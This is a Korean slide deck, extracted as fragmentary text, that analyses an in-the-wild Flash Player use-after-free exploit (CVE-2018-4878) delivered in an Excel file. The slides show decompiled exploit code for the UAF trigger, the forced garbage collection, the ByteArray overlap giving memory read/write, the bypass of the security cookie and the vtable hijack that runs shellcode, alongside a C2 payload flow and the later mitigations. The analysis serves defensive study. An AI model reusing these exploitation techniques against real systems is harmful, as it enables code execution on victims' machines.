슬라이드 1

Size: px

Start display at page:

Download "슬라이드 1"

우재덕 환
5 years ago
Views:

2 오피스문서파일 플래시객체삽입기능

3 엑셀에삽입한악성플래시파일 CVE User Interaction? 제한된보기상태에서여는경우를제외하고플래시자동실행

4 이메일, 메신저, SNS 오피스 exploit.xslx 이메일 플래시익스플로잇 악성코드 메신저

5 익스플로잇흐름도 Office Request decode xor key (swf id, flash version, os version) Flash (Loader) decode Return decode xor key Request payload Important C2 server Flash (exploit) Return payload C2 server

6 익스플로잇로더 Flash object

7 디컴파일익스플로잇로더 Exploit (CVE ) decode, load

8 익스플로잇디코드함수 (Decript?) decode Load exploit

9 익스플로잇플래시파일

10 취약점원인 (Use After Free) PrimeTime SDK DRMManager (com.adobe.tvsdk.mediacore.psdk) public function trig_uaf() : void { var ps:psdk = null; // 1. 미디어플레이어생성 var data14:psdkeventdispatcher = null; ps = PSDK.pSDK; data14 = ps.createdispatcher(); this. \x04 = ps.createmediaplayer(data14); drm_obj1=null (delayed free) // 2. DRMManager 초기화 this.drm_obj1= new DRMLIST_Obj(); // DRMOperationCompleteListener this. \x04.drmmanager.initialize(this.drm_obj1); } // 3. Null DRMOperationCompleteListener (drmmanager 는계속오브젝트참조 ) this.drm_obj1 = null; // Enter delayed free list

11 Force Garbage Collect public function \x01 (param1:flash01) { super(); this.flash01_obj = param1; drm_obj1=null this.trig_uaf(); (freed) try { new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); // Force Garbage Collect }

12 Force Garbage Collect

13 DRMOperationCompleteListener Class Object 재할당 try { 에러발생 new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch(e:error) { // dangling pointer로사용 drm_obj2 = new DRMLIST_Obj(); }

$\x03 = new Timer(100,1000); this. \x03.$ $addeventlistener("timer",this.checkfreed); this. \x03.$

14 Make Dangling Pointer (drm_obj2). // Timer 실행 this. \x03 = new Timer(100,1000); this. \x03.addeventlistener("timer",this.checkfreed); this. \x03.start(); // flash.display::loaderinfo -> ondrmerror -> Freed drm_obj2 } Freed drm_obj2 by drmmanager

$Overlap ByteArray Class Object public function overlapping_obj() : void { this.$

15 Overlap ByteArray Class Object public function overlapping_obj() : void { this.barray_obj = new ByteArrayObj(); // overlapping bytearray class in the freed drm_obj2 this.barray_obj.length = 512; if(this.drm_obj2.a14!= 0) // drm_obj2 is dangling pointer {.

16 ByteArray Full memory Read / Write Primitive private: uint8_t* array; uint32_t capacity; uint32_t length; uint32_t copyonwrite; uint32_t check_array; uint32_t check_capacity; uint32_t check_length; uint32_t check_copyonwrite;

17 Overlapped Object Memory [drm_obj2 class memory] 프리되기전 bda1a88 AdobeCPGetAPI+0x4de b b61a c 0778b > drm_obj2.a c c aaaa c c aaaa c >drm_obj2.a c Overlapped ByteArray Class Object bda18d8 AdobeCPGetAPI+0x4de ad c 07796fa > drm_obj2.a bda1880 AdobeCPGetAPI+0x4de c 5bda1888 AdobeCPGetAPI+0x4de bda187c AdobeCPGetAPI+0x4ddffc bde9984 AdobeCPGetAPI+0x f4c c 08f1c1f ba5e bdb3db0 <ByteArray Object> a > m_buffer object drm_obj2.a c bda1874 Flash32_28_0_0_137!AdobeCPGetAPI+0x4ddff c > barray_obj.a > barray_obj(this) c > drm_obj2.a c

18 Object Life Cycle

19 Make Fake m_buffer Object if(this.drm_obj2.a14!= 0) { // check overlap for(var i:int = 0; i < 5; i++) { }.. // 1. Dangling pointer 의 a.32 에 a.14(m_buffer) 쓰기 this.drm_obj2.a32 = this.drm_obj2.a * i + 7; // 2. Dangling pointer 의 a.32 는 barray_obj.a13(number 타입 ), bytearray 를이용해 Number 값을쓰고읽기 // 3. 읽어온 m_buffer object data 를 barray_obj 변수영역에써서 fake m_buffer object 를만듦 this.barray_obj.write_mbuffer_obj(i * 2 + 1,this.barray_obj.read_mbuffer_obj()); // 4. a.14( 실제 m_buffer 주소 ) 를 barray_obj.a1 (fake m_buffer pointer) 의주소로변경 this.drm_obj2.a14 = this.drm_obj2.a * ;

20 Full r/w memory primitive bda18d8 AdobeCPGetAPI+0x4de ad c 07796fa bdb3db0 <ByteArray Object> ( c) -> Fake m_buffer c bda1874 Flash32_28_0_0_137!AdobeCPGetAPI+0x4ddff ( c) > array ffffffff -> capacity c ffffffff -> length > copyonwrite e -> check_array e8876d91 -> check_capacity c e8876d91 -> check_length e -> check_copyonwrite c 07e

21 Bypass ByteArray security cookie mitigation // key = array ^ check_array var key:uint = this.drm_obj2.a22 ^ this.drm_obj2.a26; this.drm_obj2.a22 = 0; this.drm_obj2.a23 = 0xFFFFFFFF; this.drm_obj2.a24 = 0xFFFFFFFF; this.drm_obj2.a26 = this.drm_obj2.a22 ^ key; this.drm_obj2.a27 = this.drm_obj2.a23 ^ key; this.drm_obj2.a28 = this.drm_obj2.a24 ^ key; this.drm_obj2.a29 = this.drm_obj2.a25 ^ key; this.barray_obj.endian = Endian.LITTLE_ENDIAN;

22 Find window function address Vtable address Flash.ocx base address Search API address static function findvp() : uint { if(flash21.readutf().tolowercase() == virtualprotect { flash63 = Get(b + ft + \x1e\x0b * 4); c++; if(c > 1).. else { flash21.position = b + b0; if(flash21.readutf().tolowercase() == createprocessa { createprocessafunc = Get(b + ft + \x1e\x0b * 4); c++; if(c > 1) { break; } }

23 How to call shellcode HackingTeam 플래시익스플로잇방식이용 (Back to the 2015 년 ) // 1. 더미 victim 함수를선언 static function Payload(...a){} static function CallVP(vp:uint, xaddr:uint, xlen:uint) { // 2. Payload 함수오브젝트를생성 Payload(); // 3. Payload() 오브젝트에서 vtable 포인터를검색 var p:uint = GetAddr(Payload); var ptbl:uint = Get(Get(Get(Get(p + 8) + 0x14) + 4) + (_isdbg? 0xbc:0xb0));.. // 4. Payload s vtable 를복사 for(var i:uint; i < 0x100; i++) _v[i] = Get(p1-0x80 + i*4); // 5. VirtualProtect() 주소를저장 _v[0x20+7] = vp; // 6. VirtualProtect() 의아규먼트설정 Set(p+0x1c, xaddr); Set(p+0x20, xlen); var args:array = new Array(0x41); //set third arg = 0x40 PAGE_EXECUTE_READWRITE // 7. Payload() 의 vtable 를대체 Set(ptbl, _vaddr + 0x80); // 8. call VirtualProtect() var res = Payload.call.apply(null, args);

24 How to call shellcode Function Object 의 apply 호출주소변조 Atom FunctionObject::AS3_apply(Atom thisarg, Atom argarray) { thisarg = get_coerced_receiver(thisarg); // when argarray == undefined or null, same as not being there at all // see Function/e15_3_4_3_1.as if (!AvmCore::isNullOrUndefined(argArray)) { AvmCore* core = this->core(); // FIXME: why not declare argarray as Array in Function.as? if (!AvmCore::istype(argArray, ARRAY_TYPE)) toplevel()->throwtypeerror(kapplyerror); return core->exec->apply(get_callenv(), thisarg,(arrayobject*)avmcore::atomtoscriptobject(argarray)); } else {

25 How to call shellcode Function Object 의 apply 호출주소변조

26 How to call shellcode static function callvp(param1:uint, param2:uint, param3:uint) : * { var _loc10_:uint = 0; flash1000(); var _loc4_:uint = GetObjAddr(flash1000); var _loc5_:uint = Get(Get(Get(_loc4_ + 8) + 20) + 4) + (!!flash70?188:176);.. var _loc9_:vector.<uint> = new Vector.<uint>(256); while(_loc10_ < 256){ _loc9_[_loc10_] = Get(_loc6_ _loc10_ * 4); _loc10_++; } _loc9_[32 + 7] = param1; Set(_loc4_ + 28,param2); // 첫번째파라미터 ( 쉘코드주소 ) Set(_loc4_ + 32,param3); // 두번째파라미터 ( 쉘코드길이 ) } Set(_loc5_,flash36(_loc9_) + 128); // apply 호출포인터변조 var _loc11_:array = new Array(65); // 세번째파라미터 ( 메모리플래그 ) var _loc12_:* = flash1000.call.apply(null,_loc11_); // VirtualProtect 호출 Set(_loc5_,_loc6_); Set(_loc4_ + 28,_loc7_); Set(_loc4_ + 32,_loc8_);

27 How to call shellcode Call VirtualProtect Parameter

4; flash69 = Get(payAddr); // 함수호출포인터쉘코드주소로변조 Set(payAddr,shellcodeAddr);

28 How to call shellcode static function Exec() : * {.. payaddr = GetObjAddr(flash1000); payaddr = Get(Get(payAddr + 0x1C) + 8) + 4; flash69 = Get(payAddr); // 함수호출포인터쉘코드주소로변조 Set(payAddr,shellcodeAddr); before Dummy function after shellcode // CreateProcessA 호출 res = flash1000.call(null,createprocessafunc );.. }

29 How to call shellcode Shellcode

30 과거플래시취약점악용이증가할당시수동에서자동업데이트로정책변경

31 제한된보기 (Protected View)

32 제한된보기

33 플래시로딩알림창

34 플래시로딩알림창

35 2020 년말에 Flash 지원중단발표 Ref:

인터넷익스플로러, 엣지브라우저 Ref: https://blogs.windows.

36 인터넷익스플로러, 엣지브라우저 Ref:

37 구글크롬 Ref:

38 플래시 HTML5

Microsoft Word - SecuLetter_ExploitAnalysis_CVE _Ver0.1

Microsoft Word - SecuLetter_ExploitAnalysis_CVE _Ver0.1 Use-After-Free in Adobe Flash Player CVE-2018-4878 2018. 04. 09 시큐레터주식회사 01 개요 지난 2018 년 1월 31일 KrCERT/CC 는 Adobe 플래시플레이어의제로데이취약점을악용한악성코드유포와관련하여보안공지를발표했습니다. 해당취약점은플래시플레이어 28.0.0.161 버전과이전버전에발생하는 Use- After-Free